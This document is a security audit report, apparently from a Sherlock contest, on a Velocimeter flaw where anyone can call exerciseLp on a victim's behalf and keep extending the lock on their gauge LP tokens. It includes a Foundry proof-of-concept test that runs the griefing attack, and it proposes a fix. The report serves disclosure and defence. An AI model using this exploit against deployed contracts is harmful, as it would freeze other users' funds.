Fast Black Eel

High

# LP token can be permanently locked in the gauge

## Summary
A malicious user can permanently lock other user's LP token deposited in gauge, by depositing a very small amount on behalf of other users which will increase the lock duration of the deposited LP token, if a user wants to withdraw their locked LP tokens they would not be able to withdraw because the expiry time has been increased by malicious user.
  
## Vulnerability Detail
In `/v4-contracts/contracts/GaugeV4.sol`
```solidity
function depositWithLock(address account, uint256 amount, uint256 _lockDuration) external lock {
        require(msg.sender == account || isOToken[msg.sender],"Not allowed to deposit with lock"); 
        //...//
    }

```
`depositWithLock` only allows depsit LP tokens with `msg.sender` to their own account and `OptionTokenV4.sol` contract to depositWithLock to any account. 

In `/v4-contracts/contracts/OptionTokenV4.sol`
```solidity
function exerciseLp(
        uint256 _amount,
        uint256 _maxPaymentAmount,
        address _recipient,
        uint256 _discount,
        uint256 _deadline
    ) external returns (uint256, uint256) {
        if (block.timestamp > _deadline) revert OptionToken_PastDeadline();
        return _exerciseLp(_amount, _maxPaymentAmount, _recipient, _discount);
    }
```
There is no check present in `exerciseLp` function on `_recipient` parameter, anyone can exercise options tokens to create LP and stake in gauges with lock in anyone's account.
```solidity
function getLockDurationForLpDiscount(
        uint256 _discount
    ) public view returns (uint256 duration) {
        (int256 slope, int256 intercept) = getSlopeInterceptForLpDiscount();
        duration = _discount == 0 ? lockDurationForMaxLpDiscount : SignedMath.abs(slope * int256(_discount) + intercept);
    }
```
The `getLockDurationForLpDiscount` decides for how much duration the token will be locked in gauge based on the discount. 
```solidity
function depositWithLock(address account, uint256 amount, uint256 _lockDuration) external lock {
      //...//

        uint256 currentLockEnd = lockEnd[account];
        uint256 newLockEnd = block.timestamp + _lockDuration ; 
        if (currentLockEnd > newLockEnd) {
            revert("The current lock end > new lock end");
        } 
        lockEnd[account] = newLockEnd; // new lock set here
    }
```
Since anyone is allowed to deposit LP token in anyone's account, it can be abused by malicious user to set the discount to 20% and `exerciseLp` **(minimum deposit amount of 10wei)** and increase the lock duration to maximum of 364 days and can be repeated multiple times which will keep increasing the lock duration of that account.

## Impact
* Permanent freezing of LP tokens,the user will permanently loose access to their LP tokens.

* `depositWithLock` does not have any checks present on  maximum lock duration that can be set by the user.

## POC 
Add this test to `test/OptionTokenV4.t.sol` and run with `forge test --mt testPocLockLPTokensinGaugePermanently   -vvvv`
```solidity
    function testPocLockLPTokensinGaugePermanently() public {
        oFlowV4.setRewardsAddress(address(gauge)); //setting reward address

        address bob = address(0xb0b);
        address blackhat = address(0xb14c);

        flowDaiPair.transfer(bob, 1e18);
        vm.startPrank(bob);
        flowDaiPair.approve(address(gauge),1e18);

        // bob deposits lp in gauge with lock for 2 weeks
        gauge.depositWithLock(bob, 1e18, 2 weeks);

        console.log("lock end for bob is %s",gauge.lockEnd(bob));
        uint256 lockend_beforeAttack = gauge.lockEnd(bob);

        vm.stopPrank();

       
        FLOW.approve(address(oFlowV4), TOKEN_1);
        // mint Option token to blackhat
        oFlowV4.mint(blackhat, TOKEN_1);

        washTrades();
        vm.stopPrank();
        vm.startPrank(blackhat);
        
        DAI.mint(blackhat,TOKEN_100K);
        DAI.approve(address(oFlowV4), TOKEN_100K);

        //blackhat attacks bob and increase the lock duration.
        oFlowV4.exerciseLp(10, 1e18, address(bob),20,block.timestamp);
        vm.stopPrank();

        console.log("lock end for bob is %s",gauge.lockEnd(bob));
        assertGt(gauge.lockEnd(bob),lockend_beforeAttack);
        vm.warp(block.timestamp + 3 weeks);
        vm.expectRevert("The lock didn't expire");
        vm.prank(bob);
        gauge.withdrawAll();
        
    }
```
## Code Snippet
https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/OptionTokenV4.sol#L305-L314
https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/OptionTokenV4.sol#L652-L716
https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/GaugeV4.sol#L443-L459
## Tool used

Manual Review


## Recommendation
* Implement check in `exerciseLp` so that `msg.sender` can deposit into their own account only.
```diff
function exerciseLp(
        uint256 _amount,
        uint256 _maxPaymentAmount,
        address _recipient,
        uint256 _discount,
        uint256 _deadline
    ) external returns (uint256, uint256) {
        if (block.timestamp > _deadline) revert OptionToken_PastDeadline();
+      require(msg.sender == _recipient , "Not allowed to deposit with lock");
        return _exerciseLp(_amount, _maxPaymentAmount, _recipient, _discount);
    }
```